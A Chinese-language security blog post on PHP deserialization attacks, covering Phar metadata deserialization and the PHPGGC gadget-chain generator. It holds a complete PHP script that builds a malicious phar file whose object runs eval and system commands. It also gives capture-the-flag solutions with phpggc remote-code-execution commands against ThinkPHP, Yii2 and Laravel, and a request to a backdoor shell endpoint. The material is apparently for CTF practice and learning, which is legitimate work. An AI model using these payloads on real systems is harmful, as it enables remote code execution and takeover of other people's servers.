PHP反序列化&Phar文件类&CLI框架类&PHPGGC生成器&TP&Yii&Laravel

Ethan医生5天前WEB安全22

image.png

#Phar反序列化

解释:从PHP 5.3开始,引入了类似于JAR的一种打包文件机制。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。

 

原理:PHP文件系统函数在通过伪协议解析phar文件时,都会将 meta-data进行反序列化操作,受影响的函数如上图;所以当这些函数接收到伪协议处理到 phar 文件的时候,Meta-data 里的序列化字符串就会被反序列化,实现不使用unserialize()函数实现反序列化操作。

 

利用条件

1.phar文件(任意后缀都可以)能上传至服务器。

2.存在受影响函数,存在可以利用的魔术方法。

生成Phar注意:

php.ini中将Phar.readonly设置为off

 

[HNCTF 2022 WEEK3]ez_phar

<?php

class Flag{

public $code;

public function __destruct(){

// TODO: Implement __destruct() method.

eval($this->code);

}

}

$a=new Flag();

$a->code="system('cat /ffflllaaaggg');";

$phar = new Phar("exp6.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$phar->setMetadata($a); //将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test"); //添加要压缩的文件

$phar->stopBuffering();

?>

upload.php上传文件引用访问触发

 

白盒代码审计案例:

https://mp.weixin.qq.com/s/2wzaXIpJgYSNnkJgRNUSEg

https://mp.weixin.qq.com/s/Z24A3LYn6P3276v7GqPw4w

 

#反序列化链项目

-NotSoSecure

https://github.com/NotSoSecure/SerializedPayloadGenerator

为了利用反序列化漏洞,需要设置不同的工具,如 YSoSerial(Java)、YSoSerial.NETPHPGGC 和它的先决条件。DeserializationHelper 是包含对 YSoSerial(Java)、YSoSerial.Net、PHPGGC 和其他工具的支持的Web界面。使用Web界面,您可以为各种框架生成反序列化payload.

Java – YSoSerial

NET – YSoSerial.NET

PHPPHPGGC

Python - 原生

 

-PHPGGC

https://github.com/ambionics/phpggc

PHPGGC是一个包含unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是frohoff的ysoserial的等价物,但是对于PHP。目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii和ZendFramework等。

 

#反序列化框架利用

1[安洵杯 2019]iamthinking Thinkphp V6.0.X 反序列化

./phpggc ThinkPHP/RCE4 system 'cat /flag' --url

 

2CTFSHOW 反序列化 267 Yii2反序列化

弱口令登录后源码提示泄漏

GET:index.php?r=site%2Fabout&view-source

GET/index.php?r=backdoor/shell&code=

./phpggc Yii2/RCE1 exec 'cp /fla* tt.txt' --base64

 

3CTFSHOW 反序列化 271 Laravel反序列化

./phpggc Laravel/RCE2 system "id" --url


标签: PHPPhar

相关文章

SSRF服务端伪造&伪协议利玩法&域名及IP绕过&无回显利用&挖掘点&SRC复盘

SSRF服务端伪造&伪协议利玩法&域名及IP绕过&无回显利用&挖掘点&SRC复盘

#SSRF漏洞原理服务器端请求伪造,也称为SSRF(Server-Side Request Forgery),是因为前端用户可以输入任意URL到后端服务器,而且服务器也没有对其URL进行严格的过滤和校...

XSS跨站&CSP策略&HttpOnly属性&Filter代码&符号标签&AI绕过&工具项目

#XSS跨站-输入输出-原理&分类&利用点漏洞原理:接受输入数据,输出显示数据后解析执行基础类型:反射(非持续),存储(持续),DOM-BASE拓展类型:jquery,mxss,uxs...

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

文件包含&LFI&RFI&伪协议条件&编码算法&无文件利用&JAVA应用&SRC复盘

文件包含&LFI&RFI&伪协议条件&编码算法&无文件利用&JAVA应用&SRC复盘

1、原理程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包...

XSS跨站&浏览器UXSS&突变MXSS&Vue&React框架&JQuery库&写法和版本

分类:1、框架或三方库的XSS2、浏览器或插件的XSS3、客户端预览内核的XSS说明:使用框架开发的或第三方库引用操作的,默认安全写法会自带过滤,所以测试此类的应用需存在漏洞版本或不安全写法导致XSS...

XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB盲注&文件拓展&复盘

XML&XXE&无回显带外&SSRF元数据&DTD实体&OOB盲注&文件拓展&复盘

#详细点:XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。